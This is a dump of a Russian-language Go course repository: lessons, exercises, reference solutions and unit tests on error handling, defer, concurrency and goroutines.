hw := HelloWorld{} 18 | 19 | // первым аргументом передается JSON-строка в виде слайса байт. Вторым аргументом указатель на структуру, в которую нужно декодировать результат. 20 | err := json.Unmarshal([]byte("{\"hello\":\"world\"}"), &hw) 21 | 22 | fmt.Printf("error: %s, struct: %+v\n", err, hw) // error: %!s(), struct: {Hello:world} 23 | } 24 | ``` 25 | 26 | В API методах часто используются запросы с телом в виде JSON. Такие тела нужно декодировать в структуры и валидировать. Хоть это и не лучшая практика делать функции, в которых происходит несколько действий, но для простоты примера реализуйте функцию `DecodeAndValidateRequest(requestBody []byte) (CreateUserRequest, error)`, которая декодирует тело запроса из JSON в структуру `CreateUserRequest` и валидирует ее. Если приходит невалидный JSON или структура заполнена неверно, функция должна вернуть ошибку. 27 | Структура запроса: 28 | 29 | ```go 30 | type CreateUserRequest struct { 31 | Email string `json:"email"` 32 | Password string `json:"password"` 33 | PasswordConfirmation string `json:"password_confirmation"` 34 | } 35 | ``` 36 | 37 | Список ошибок, которые нужно возвращать из функции: 38 | 39 | ```go 40 | // validation errors 41 | var ( 42 | errEmailRequired = errors.New("email is required") // когда поле email не заполнено 43 | errPasswordRequired = errors.New("password is required") // когда поле password не заполнено 44 | errPasswordConfirmationRequired = errors.New("password confirmation is required") // когда поле password_confirmation не заполнено 45 | errPasswordDoesNotMatch = errors.New("password does not match with the confirmation") // когда поля password и password_confirmation не совпадают 46 | ) 47 | ``` 48 | 49 | Примеры работы функции `DecodeAndValidateRequest`: 50 | 51 | ```go 52 | DecodeAndValidateRequest([]byte("{\"email\":\"\",\"password\":\"test\",\"password_confirmation\":\"test\"}")) 53 | // CreateUserRequest{}, "email is required" 54 | 55 | DecodeAndValidateRequest([]byte("{\"email\":\"test\",\"password\":\"\",\"password_confirmation\":\"test\"}")) 56 | // CreateUserRequest{}, "password is required" 57 | 58 | DecodeAndValidateRequest([]byte("{\"email\":\"test\",\"password\":\"test\",\"password_confirmation\":\"\"}")) 59 | // CreateUserRequest{}, "password confirmation is required" 60 | 61 | DecodeAndValidateRequest([]byte("{\"email\":\"test\",\"password\":\"test\",\"password_confirmation\":\"test2\"}")) 62 | // CreateUserRequest{}, "password does not match with the confirmation" 63 | 64 | DecodeAndValidateRequest([]byte("{\"email\":\"email@test.com\",\"password\":\"passwordtest\",\"password_confirmation\":\"passwordtest\"}")) 65 | // CreateUserRequest{Email:"email@test.com", Password:"passwordtest", PasswordConfirmation:"passwordtest"}, nil 66 | ``` 67 | -------------------------------------------------------------------------------- /modules/40-func/30-errors/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Ошибки в Go — это особенность языка, которая позволяет работать с неожиданным поведением кода в явном виде: 3 | 4 | ```go 5 | import "errors" 6 | 7 | func validateName(name string) error { 8 | if name == "" { 9 | // errors.New создает новый объект ошибки 10 | return errors.New("empty name") 11 | } 12 | 13 | if len([]rune(name)) > 50 { 14 | return errors.New("a name cannot be more than 50 characters") 15 | } 16 | 17 | return nil 18 | } 19 | ``` 20 | 21 | Тип `error` является интерфейсом. Интерфейс — это отдельный тип данных в Go, представляющий набор методов. Любая структура реализует интерфейс неявно через структурную типизацию. Структурная типизация (в динамических языках это называют *утиной типизацией*) — это связывание типа с реализацией во время компиляции без явного указания связи в коде: 22 | 23 | ```go 24 | package main 25 | 26 | import ( 27 | "fmt" 28 | ) 29 | 30 | // объявление интерфейса 31 | type Printer interface { 32 | Print() 33 | } 34 | 35 | // нигде не указано, что User реализует интерфейс Printer 36 | type User struct { 37 | email string 38 | } 39 | 40 | // структура User имеет метод Print, как в интерфейсе Printer. Следовательно, во время компиляции запишется связь между User и Printer 41 | func (u *User) Print() { 42 | fmt.Println("My email is", u.email) 43 | } 44 | 45 | // функция принимает как аргумент интерфейс Printer 46 | func TestPrint(p Printer) { 47 | p.Print() 48 | } 49 | 50 | func main() { 51 | // в функцию TestPrint передается структура User, и так как она реализует интерфейс Printer, все работает без ошибок 52 | TestPrint(&User{email: "test@test.com"}) 53 | } 54 | ``` 55 | 56 | Интерфейс `error` содержит только один метод *Error*, который возвращает строковое представление ошибки: 57 | 58 | ```go 59 | // The error built-in interface type is the conventional interface for 60 | // representing an error condition, with the nil value representing no error. 61 | type error interface { 62 | Error() string 63 | } 64 | ``` 65 | 66 | Следовательно, легко можно создавать свои реализации ошибок: 67 | 68 | ```go 69 | type TimeoutErr struct { 70 | msg string 71 | } 72 | 73 | // структура TimeoutErr реализует интерфейс error и может быть использована как обычная ошибка 74 | func (e *TimeoutErr) Error() string { 75 | return e.msg 76 | } 77 | ``` 78 | 79 | Следует запомнить, что если функция возвращает ошибку, то она всегда возвращается последним аргументом: 80 | 81 | ```go 82 | // функция возвращает несколько аргументов, и ошибка возвращается последней 83 | func DoHTTPCall(r Request) (Response, error) { 84 | // ... 85 | } 86 | ``` 87 | 88 | Нулевое значение для интерфейса — это пустое значение `nil`. Следовательно, когда код работает верно, возвращается `nil` вместо ошибки. 89 | -------------------------------------------------------------------------------- /modules/40-func/30-errors/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Ошибки 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — 6 | Errors](https://golang.org/ref/spec#Errors) 7 | -------------------------------------------------------------------------------- /modules/40-func/30-errors/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "encoding/json" 5 | "errors" 6 | ) 7 | 8 | // CreateUserRequest is a request to create a new user. 9 | type CreateUserRequest struct { 10 | Email string `json:"email"` 11 | Password string `json:"password"` 12 | PasswordConfirmation string `json:"password_confirmation"` 13 | } 14 | 15 | // validation errors 16 | var ( 17 | errEmailRequired = errors.New("email is required") 18 | errPasswordRequired = errors.New("password is required") 19 | errPasswordConfirmationRequired = errors.New("password confirmation is required") 20 | errPasswordDoesNotMatch = errors.New("password does not match with the confirmation") 21 | ) 22 | 23 | // BEGIN 24 | 25 | // DecodeAndValidateRequest decodes the JSON body and validates the user creation request. 26 | func DecodeAndValidateRequest(requestBody []byte) (CreateUserRequest, error) { 27 | req := CreateUserRequest{} 28 | 29 | err := json.Unmarshal(requestBody, &req) 30 | if err != nil { 31 | return CreateUserRequest{}, err 32 | } 33 | 34 | err = validateCreateUserRequest(req) 35 | if err != nil { 36 | return CreateUserRequest{}, err 37 | } 38 | 39 | return req, nil 40 | } 41 | 42 | func validateCreateUserRequest(req CreateUserRequest) error { 43 | if req.Email == "" { 44 | return errEmailRequired 45 | } 46 | 47 | if req.Password == "" { 48 | return errPasswordRequired 49 | } 50 | 51 | if req.PasswordConfirmation == "" { 52 | return errPasswordConfirmationRequired 53 | } 54 | 55 | if req.Password != req.PasswordConfirmation { 56 | return errPasswordDoesNotMatch 57 | } 58 | 59 | return nil 60 | } 61 | 62 | // END 63 | -------------------------------------------------------------------------------- /modules/40-func/30-errors/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestDecodeAndValidateRequest(t *testing.T) { 9 | a := assert.New(t) 10 | 11 | req, err := DecodeAndValidateRequest(nil) 12 | a.Error(err) 13 | a.Equal(CreateUserRequest{}, req) 14 | 15 | req, err = DecodeAndValidateRequest([]byte("")) 16 | a.Error(err) 17 | a.Equal(CreateUserRequest{}, req) 18 | 19 | req, err = DecodeAndValidateRequest([]byte("{}")) 20 | a.Error(err) 21 | a.Equal(CreateUserRequest{}, req) 22 | 23 | req, err = DecodeAndValidateRequest([]byte("{\"email\":\"\",\"password\":\"test\",\"password_confirmation\":\"test\"}")) 24 | a.Equal(errEmailRequired, err) 25 | a.Equal(CreateUserRequest{}, req) 26 | 27 | req, err = DecodeAndValidateRequest([]byte("{\"email\":\"test\",\"password\":\"\",\"password_confirmation\":\"test\"}")) 28 | a.Equal(errPasswordRequired, err) 29 | a.Equal(CreateUserRequest{}, req) 30 | 31 | req, err = DecodeAndValidateRequest([]byte("{\"email\":\"test\",\"password\":\"test\",\"password_confirmation\":\"\"}")) 32 | a.Equal(errPasswordConfirmationRequired, err) 33 | a.Equal(CreateUserRequest{}, req) 34 | 35 | req, err = DecodeAndValidateRequest([]byte("{\"email\":\"test\",\"password\":\"test\",\"password_confirmation\":\"test2\"}")) 36 | a.Equal(errPasswordDoesNotMatch, err) 37 | a.Equal(CreateUserRequest{}, req) 38 | 39 | req, err = DecodeAndValidateRequest([]byte("{\"email\":\"email@test.com\",\"password\":\"passwordtest\",\"password_confirmation\":\"passwordtest\"}")) 40 | a.NoError(err) 41 | a.Equal(CreateUserRequest{ 42 | Email: "email@test.com", 43 | Password: "passwordtest", 44 | PasswordConfirmation: "passwordtest", 45 | }, req) 46 | } 47 | -------------------------------------------------------------------------------- /modules/40-func/35-errors-handling/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/40-func/35-errors-handling/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Какая-то функция возвращает критичные и некритичные ошибки: 3 | 4 | ```go 5 | // некритичная ошибка валидации 6 | type nonCriticalError struct{} 7 | 8 | func (e nonCriticalError) Error() string { 9 | return "validation error" 10 | } 11 | 12 | // критичные ошибки 13 | var ( 14 | errBadConnection = errors.New("bad connection") 15 | errBadRequest = errors.New("bad request") 16 | ) 17 | ``` 18 | 19 | Реализуйте функцию `GetErrorMsg(err error) string`, которая возвращает текст ошибки, если она критичная. В случае неизвестной ошибки возвращается строка *unknown error*: 20 | 21 | ```go 22 | GetErrorMsg(errors.New("bad connection")) 23 | // "bad connection" 24 | 25 | GetErrorMsg(errors.New("bad request")) 26 | // "bad request" 27 | 28 | GetErrorMsg(nonCriticalError{}) 29 | // "" 30 | 31 | GetErrorMsg(errors.New("random error")) 32 | // "unknown error" 33 | ``` 34 | -------------------------------------------------------------------------------- /modules/40-func/35-errors-handling/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Возвращаемые ошибки принято проверять при каждом вызове: 3 | 4 | ```go 5 | import "log" 6 | 7 | response, err := DoHTTPCall() 8 | if err != nil { 9 | log.Println(err) 10 | } 11 | 12 | // только после проверки на ошибку можно делать что-то с объектом response 13 | ``` 14 | 15 | При этом логика обработки отличается от места и типа ошибки. Ошибки можно оборачивать и прокидывать в функцию выше, логировать или делать любые фоллбек действия. 16 | 17 | Оборачивание ошибок — важная часть написания кода на Go. Это позволяет явно видеть трейс вызова и место возникновения ошибки. Для оборачивания используется функция `fmt.Errorf`: 18 | 19 | ```go 20 | package main 21 | 22 | import ( 23 | "errors" 24 | "fmt" 25 | ) 26 | 27 | // для простоты примера опускаем аргументы запроса и ответа 28 | func DoHTTPCall() error { 29 | err := SendTCP() 30 | if err != nil { 31 | // оборачивается в виде "[название метода]: %w". %w — это плейсхолдер для ошибки 32 | return fmt.Errorf("send tcp: %w", err) 33 | } 34 | 35 | return nil 36 | } 37 | 38 | var errTCPConnectionIssue = errors.New("TCP connect issue") 39 | 40 | func SendTCP() error { 41 | return errTCPConnectionIssue 42 | } 43 | 44 | func main() { 45 | fmt.Println(DoHTTPCall()) // send tcp: TCP connect issue 46 | } 47 | ``` 48 | 49 | В современном Go существуют функции для проверки типов конкретных ошибок. Например, ошибку из примера выше можно проверить с помощью функции `errors.Is`. В данном случае *errTCPConnectionIssue* обернута другой ошибкой, но функция `errors.Is` найдет ее при проверке: 50 | 51 | ```go 52 | err := DoHTTPCall() 53 | if err != nil { 54 | if errors.Is(err, errTCPConnectionIssue) { 55 | // в случае ошибки соединения ждем 1 секунду и пытаемся сделать запрос снова 56 | time.Sleep(1 * time.Second) 57 | return DoHTTPCall() 58 | } 59 | 60 | // обработка неизвестной ошибки 61 | log.Println("unknown error on HTTP call", err) 62 | } 63 | ``` 64 | 65 | `errors.Is` подходит для проверки статичных ошибок, хранящихся в переменных. Иногда нужно проверить не конкретную ошибку, а целый тип. Для этого используется функция `errors.As`: 66 | 67 | ```go 68 | package main 69 | 70 | import ( 71 | "errors" 72 | "log" 73 | "time" 74 | ) 75 | 76 | // ошибка подключения к базе данных 77 | type ConnectionErr struct{} 78 | 79 | func (e ConnectionErr) Error() string { 80 | return "connection err" 81 | } 82 | 83 | func main() { 84 | // цикл подключения к БД. Пытаемся 3 раза, если не удалось подсоединиться с первого раза. 85 | tries := 0 86 | for { 87 | if tries > 2 { 88 | log.Println("Can't connect to DB") 89 | break 90 | } 91 | 92 | err := connectDB() 93 | if err != nil { 94 | // если ошибка подключения, то ждем 1 секунду и пытаемся снова 95 | if errors.As(err, &ConnectionErr{}) { 96 | log.Println("Connection error. Trying to reconnect...") 97 | time.Sleep(1 * time.Second) 98 | tries++ 99 | continue 100 | } 101 | 102 | // в противном случае ошибка критичная, логируем и выходим из цикла 103 | log.Println("connect DB critical error", err) 104 | } 105 | 106 | break 107 | } 108 | } 109 | 110 | // для простоты функция всегда возвращает ошибку подключения 111 | func connectDB() error { 112 | return ConnectionErr{} 113 | } 114 | ``` 115 | 116 | Вывод программы спустя 3 секунды: 117 | 118 | ```text 119 | Connection error. Trying to reconnect... 120 | Connection error. Trying to reconnect... 121 | Connection error. Trying to reconnect... 122 | Can't connect to DB 123 | ``` 124 | -------------------------------------------------------------------------------- /modules/40-func/35-errors-handling/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Обработка ошибок 3 | tips: [] 4 | -------------------------------------------------------------------------------- /modules/40-func/35-errors-handling/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "errors" 5 | ) 6 | 7 | type nonCriticalError struct{} 8 | 9 | func (e nonCriticalError) Error() string { 10 | return "validation error" 11 | } 12 | 13 | var ( 14 | errBadConnection = errors.New("bad connection") 15 | errBadRequest = errors.New("bad request") 16 | ) 17 | 18 | const unknownErrorMsg = "unknown error" 19 | 20 | // BEGIN 21 | 22 | var criticalErrs = []error{errBadRequest, errBadConnection} 23 | 24 | // GetErrorMsg returns the err message if the error is critical. Otherwise it returns an empty string. 25 | func GetErrorMsg(err error) string { 26 | for _, crErr := range criticalErrs { 27 | if errors.Is(err, crErr) { 28 | return crErr.Error() 29 | } 30 | } 31 | 32 | if errors.As(err, &nonCriticalError{}) { 33 | return "" 34 | } 35 | 36 | return unknownErrorMsg 37 | } 38 | 39 | // END 40 | -------------------------------------------------------------------------------- /modules/40-func/35-errors-handling/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "github.com/stretchr/testify/assert" 7 | "testing" 8 | ) 9 | 10 | func TestGetErrorMsg(t *testing.T) { 11 | a := assert.New(t) 12 | a.Equal(errBadRequest.Error(), GetErrorMsg(errBadRequest)) 13 | a.Equal(errBadConnection.Error(), GetErrorMsg(errBadConnection)) 14 | a.Equal("", GetErrorMsg(nonCriticalError{})) 15 | a.Equal(unknownErrorMsg, GetErrorMsg(errors.New("unknown"))) 16 | a.Equal(errBadRequest.Error(), GetErrorMsg(fmt.Errorf("wrap: %w", errBadRequest))) 17 | a.Equal(errBadConnection.Error(), GetErrorMsg(fmt.Errorf("wrap: %w", errBadConnection))) 18 | a.Equal("", GetErrorMsg(fmt.Errorf("wrap: %w", nonCriticalError{}))) 19 | } 20 | -------------------------------------------------------------------------------- /modules/40-func/40-defer/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/40-func/40-defer/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию `ExecuteMergeDictsJob(job *MergeDictsJob) (*MergeDictsJob, error)`, которая выполняет джобу *MergeDictsJob* и возвращает ее. Алгоритм обработки джобы следующий: 3 | - перебрать по порядку все словари *job.Dicts* и записать каждое ключ-значение в результирующую мапу *job.Merged* 4 | - если в структуре *job.Dicts* меньше 2-х словарей, возвращается ошибка `errNotEnoughDicts = errors.New("at least 2 dictionaries are required")` 5 | - если в структуре *job.Dicts* встречается словарь в виде нулевого значения `nil`, то возвращается ошибка `errNilDict = errors.New("nil dictionary")` 6 | - независимо от успешного выполнения или ошибки в возвращаемой структуре *MergeDictsJob* поле *IsFinished* должно быть заполнено как `true` 7 | 8 | Пример работы: 9 | 10 | ```go 11 | ExecuteMergeDictsJob(&MergeDictsJob{}) 12 | // &MergeDictsJob{IsFinished: true}, "at least 2 dictionaries are required" 13 | 14 | ExecuteMergeDictsJob(&MergeDictsJob{Dicts: []map[string]string{{"a": "b"}, nil}}) 15 | // &MergeDictsJob{IsFinished: true, Dicts: []map[string]string{{"a": "b"},nil}}, "nil dictionary" 16 | 17 | ExecuteMergeDictsJob(&MergeDictsJob{Dicts: []map[string]string{{"a": "b"}, {"b": "c"}}}) 18 | // &MergeDictsJob{IsFinished: true, Dicts: []map[string]string{{"a": "b", "b": "c"}}}, nil 19 | ``` 20 | -------------------------------------------------------------------------------- /modules/40-func/40-defer/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | В Go есть полезная конструкция `defer`, которая позволяет выполнять функции в фазе выхода из текущей функции. Например: 3 | 4 | ```go 5 | package main 6 | 7 | import ( 8 | "fmt" 9 | ) 10 | 11 | func main() { 12 | // функция выполнится в самом конце при выходе из main 13 | defer fmt.Println("finish") 14 | 15 | fmt.Println("start") 16 | } 17 | ``` 18 | 19 | Вывод: 20 | 21 | ```go 22 | start 23 | finish 24 | ``` 25 | 26 | Такие функции называются *отложенными*. Каждая такая функция добавляется в стек отложенных функций и будет выполнена в порядке LIFO (Last In First Out): 27 | 28 | ```go 29 | package main 30 | 31 | import ( 32 | "fmt" 33 | ) 34 | 35 | func main() { 36 | defer fmt.Println("3rd") 37 | defer fmt.Println("2nd") 38 | 39 | fmt.Println("1st") 40 | } 41 | ``` 42 | 43 | Вывод: 44 | 45 | ```text 46 | 1st 47 | 2nd 48 | 3rd 49 | ``` 50 | 51 | Использование отложенных функций достаточно распространено. Например: 52 | - закрытие дескриптора файла после работы 53 | - возвращение соединения с базой данных в общий пул после чтения всех строк 54 | - закрытие TCP соединения после полного прочтения тела ответа 55 | -------------------------------------------------------------------------------- /modules/40-func/40-defer/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Отложенные функции 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Defer 6 | statements](https://golang.org/ref/spec#Defer_statements) 7 | -------------------------------------------------------------------------------- /modules/40-func/40-defer/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import "errors" 4 | 5 | // MergeDictsJob is a job to merge dictionaries into a single dictionary. 6 | type MergeDictsJob struct { 7 | Dicts []map[string]string 8 | Merged map[string]string 9 | IsFinished bool 10 | } 11 | 12 | // errors 13 | var ( 14 | errNotEnoughDicts = errors.New("at least 2 dictionaries are required") 15 | errNilDict = errors.New("nil dictionary") 16 | ) 17 | 18 | // BEGIN 19 | 20 | func (j *MergeDictsJob) setFinished() { 21 | j.IsFinished = true 22 | } 23 | 24 | // ExecuteMergeDictsJob executes the job: merges all dictionaries into a single one. 25 | // After the job is finished the Finished flag is set to true. 26 | func ExecuteMergeDictsJob(job *MergeDictsJob) (*MergeDictsJob, error) { 27 | defer job.setFinished() 28 | 29 | if len(job.Dicts) < 2 { 30 | return job, errNotEnoughDicts 31 | } 32 | 33 | job.Merged = make(map[string]string) 34 | for _, dict := range job.Dicts { 35 | if dict == nil { 36 | return job, errNilDict 37 | } 38 | 39 | for k, v := range dict { 40 | job.Merged[k] = v 41 | } 42 | } 43 | 44 | return job, nil 45 | } 46 | 47 | // END 48 | -------------------------------------------------------------------------------- /modules/40-func/40-defer/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestExecuteMergeDictsJob(t *testing.T) { 9 | a := assert.New(t) 10 | 11 | job, err := ExecuteMergeDictsJob(&MergeDictsJob{}) 12 | a.Equal(errNotEnoughDicts, err) 13 | a.Equal(true, job.IsFinished) 14 | 15 | job, err = ExecuteMergeDictsJob(&MergeDictsJob{Dicts: []map[string]string{ 16 | {"a": "b"}, 17 | }}) 18 | a.Equal(errNotEnoughDicts, err) 19 | a.Equal(true, job.IsFinished) 20 | 21 | job, err = ExecuteMergeDictsJob(&MergeDictsJob{Dicts: []map[string]string{ 22 | {"a": "b"}, 23 | nil, 24 | }}) 25 | a.Equal(errNilDict, err) 26 | a.Equal(true, job.IsFinished) 27 | 28 | job, err = ExecuteMergeDictsJob(&MergeDictsJob{Dicts: []map[string]string{ 29 | {"a": "b", "b": "c"}, 30 | {"d": "e", "f": "g"}, 31 | {"a": "z", "f": "g"}, 32 | }}) 33 | a.NoError(err) 34 | a.Equal(true, job.IsFinished) 35 | a.Equal(map[string]string{ 36 | "b": "c", 37 | "d": "e", 38 | "a": "z", 39 | "f": "g", 40 | }, job.Merged) 41 | } 42 | -------------------------------------------------------------------------------- /modules/40-func/description.ru.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Функции и методы 3 | description: | 4 | В этом модуле мы углубимся в функции. Разберем методы структур и пользовательских типов. Познакомимся с вариативными функциями, интерфейсами, ошибками и способами их обработки. Научимся использовать отложенные функции. 5 | -------------------------------------------------------------------------------- /modules/50-concurrency/10-concurrency-intro/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/50-concurrency/10-concurrency-intro/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Написать конкурентный код самостоятельно в данном уроке не получится, поэтому давайте подготовимся к следующему уроку реализацией синхронного кода. 3 | 4 | Реализуйте функцию `MaxSum(nums1, nums2 []int) []int`, которая суммирует числа в каждом слайсе и возвращает слайс с наибольшей суммой. Если сумма одинаковая, то возвращается первый слайс. 5 | 6 | Пример работы: 7 | 8 | ```go 9 | MaxSum([]int{1, 2, 3}, []int{10, 20, 50}) // [10 20 50] 10 | 11 | MaxSum([]int{3, 2, 1}, []int{1, 2, 3}) // [3 2 1] 12 | ``` 13 | -------------------------------------------------------------------------------- /modules/50-concurrency/10-concurrency-intro/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Современные процессоры (CPU) имеют несколько ядер, и некоторые поддерживают гиперпоточность, поэтому они могут обрабатывать несколько инструкций одновременно. Чтобы полностью утилизировать современные CPU, нужно использовать конкурентное программирование. 3 | 4 | *Конкурентные вычисления* — это форма вычислений, когда несколько инструкций выполняются, пересекаясь, в течение одного временного периода. 5 | 6 | Например есть 2 инструкции, которые нужно выполнить: *А* и *B*. При выполнении инструкций конкурентно ядро процессора вычисляет инструкцию *A*, при ожидающей *B*. Когда первая инструкция *A* заканчивает активное вычисление, она ставится на паузу, и ядро переключается на вычисление инструкции *B*. 7 | 8 | Рассмотрим простой пример конкурентности в реальной жизни: HTTP запрос к стороннему сервису по сети: 9 | - вычисление *А* делает HTTP запрос 10 | - пока *А* ждет ответа, начинает выполняться вычисление *B* 11 | - когда ответ пришел, *А* возвращается в работу 12 | 13 | Если в процессоре присутствует более одного ядра, обработка происходит *параллельно*. Возвращаясь к примеру выше, инструкции *A* и *B* будут выполняться независимо в один момент времени. 14 | 15 | Конкурентные вычисления могут происходить в программе, компьютере или сети. В данном курсе рассматривается только уровень программ. 16 | 17 | Как это все относится к Go? Разберемся в следующем уроке. 18 | -------------------------------------------------------------------------------- /modules/50-concurrency/10-concurrency-intro/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Введение в конкурентность 3 | tips: 4 | - > 5 | [Concurrency vs 6 | Parallelism](https://devopedia.org/concurrency-vs-parallelism) 7 | -------------------------------------------------------------------------------- /modules/50-concurrency/10-concurrency-intro/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // MaxSum gets sum of each nums slice and returns a slice with the max sum. 6 | // If the slices are the same then the first one will be returned. 7 | func MaxSum(nums1, nums2 []int) []int { 8 | if sum(nums1) >= sum(nums2) { 9 | return nums1 10 | } 11 | 12 | return nums2 13 | } 14 | 15 | func sum(nums []int) int { 16 | s := 0 17 | for _, n := range nums { 18 | s += n 19 | } 20 | 21 | return s 22 | } 23 | 24 | // END 25 | -------------------------------------------------------------------------------- /modules/50-concurrency/10-concurrency-intro/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestMaxSum(t *testing.T) { 9 | a := assert.New(t) 10 | a.Nil(MaxSum(nil, nil)) 11 | a.Equal([]int{3, 4, 5, 6}, MaxSum([]int{1, 2, 3}, []int{3, 4, 5, 6})) 12 | a.Equal([]int{1, 2, 3}, MaxSum([]int{1, 2, 3}, []int{3, 2, 1})) 13 | a.Equal([]int{10, 20}, MaxSum([]int{10, 20}, []int{4, 6})) 14 | } 15 | -------------------------------------------------------------------------------- /modules/50-concurrency/20-goroutines/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/50-concurrency/20-goroutines/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию `MaxSum(nums1, nums2 []int) []int` из прошлого задания, используя горутины для расчета каждой суммы слайса. 3 | Не забудьте использовать функцию `time.Sleep(100 * time.Millisecond)`, чтобы сумма успела посчитаться. В настоящих приложениях используются специальные инструменты, чтобы дожидаться исполнения асинхронного кода, но для простоты здесь будет использоваться обычный сон. 4 | -------------------------------------------------------------------------------- /modules/50-concurrency/20-goroutines/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Вот и подошло время познакомиться с самой сильной стороной языка Go — горутинами. Горутины — это легковесные потоки, которые реализуют конкурентное программирование в Go. Их называют *легковесными потоками*, потому что они управляются рантаймом языка, а не операционной системой. Стоимость переключения контекста и расход памяти намного ниже, чем у потоков ОС. Следовательно, для Go — не проблема поддерживать одновременно десятки тысяч горутин. 3 | 4 | Запустить функцию в горутине — супер легко. Для этого достаточно написать слово `go` перед вызовом функции: 5 | 6 | ```go 7 | package main 8 | 9 | import ( 10 | "fmt" 11 | "time" 12 | ) 13 | 14 | func main() { 15 | // выведет сообщение в горутине 16 | go fmt.Println("Hello concurrent world") 17 | 18 | // если не подождать, то программа закончится, не успев, вывести сообщение 19 | time.Sleep(100 * time.Millisecond) 20 | } 21 | ``` 22 | 23 | При написании конкурентного кода возникают новые моменты, которые нужно учитывать: состояние гонки, блокировки, коммуникация между горутинами. Пример программы, которая работает не так, как ожидается: 24 | 25 | ```go 26 | package main 27 | 28 | import ( 29 | "fmt" 30 | "time" 31 | ) 32 | 33 | func main() { 34 | for i := 0; i < 5; i++ { 35 | go func() { 36 | fmt.Println(i) 37 | }() 38 | } 39 | 40 | time.Sleep(100 * time.Millisecond) 41 | } 42 | ``` 43 | 44 | Сперва может показаться, что должны вывестись числа от 0 до 4, но на самом деле вывод будет следующим: 45 | 46 | ```go 47 | 5 48 | 5 49 | 5 50 | 5 51 | 5 52 | ``` 53 | 54 | Все потому что *i* передается в общем скоупе, следовательно, когда горутины будут выполняться, цикл уже закончится и *i* будет равно *5*. В данном случае нужно передать копию *i*: 55 | 56 | ```go 57 | package main 58 | 59 | import ( 60 | "fmt" 61 | "time" 62 | ) 63 | 64 | func main() { 65 | for i := 0; i < 5; i++ { 66 | go func(i int) { 67 | fmt.Println(i) 68 | }(i) 69 | } 70 | 71 | time.Sleep(100 * time.Millisecond) 72 | } 73 | ``` 74 | 75 | Вывод: 76 | 77 | ```go 78 | 0 79 | 4 80 | 3 81 | 1 82 | 2 83 | ``` 84 | 85 | Также можно заметить, что числа вывелись не в порядке вызова. Горутины выполняются независимо и не гарантируют порядка. При необходимости последовательность в выполнении придется реализовывать самостоятельно. 86 | -------------------------------------------------------------------------------- /modules/50-concurrency/20-goroutines/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Горутины 3 | tips: 4 | - | 5 | [Effective Go — Goroutines](https://golang.org/doc/effective_go#goroutines) 6 | -------------------------------------------------------------------------------- /modules/50-concurrency/20-goroutines/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "time" 5 | ) 6 | 7 | // BEGIN 8 | 9 | // MaxSum gets sum of each nums slice and returns a slice with the max sum. 10 | // If the slices are the same then the first one will be returned. 11 | func MaxSum(nums1, nums2 []int) []int { 12 | s1, s2 := 0, 0 13 | 14 | go sumParallel(nums1, &s1) 15 | go sumParallel(nums2, &s2) 16 | 17 | time.Sleep(100 * time.Millisecond) 18 | 19 | if s1 >= s2 { 20 | return nums1 21 | } 22 | 23 | return nums2 24 | } 25 | 26 | func sumParallel(nums []int, res *int) { 27 | *res = sum(nums) 28 | } 29 | 30 | func sum(nums []int) int { 31 | s := 0 32 | for _, n := range nums { 33 | s += n 34 | } 35 | 36 | return s 37 | } 38 | 39 | // END 40 | -------------------------------------------------------------------------------- /modules/50-concurrency/20-goroutines/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestMaxSum(t *testing.T) { 9 | a := assert.New(t) 10 | a.Nil(MaxSum(nil, nil)) 11 | a.Equal([]int{3, 4, 5, 6}, MaxSum([]int{1, 2, 3}, []int{3, 4, 5, 6})) 12 | a.Equal([]int{1, 2, 3}, MaxSum([]int{1, 2, 3}, []int{3, 2, 1})) 13 | a.Equal([]int{10, 20}, MaxSum([]int{10, 20}, []int{4, 6})) 14 | } 15 | -------------------------------------------------------------------------------- /modules/50-concurrency/30-channels/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/50-concurrency/30-channels/ru/EXERCISE.md: 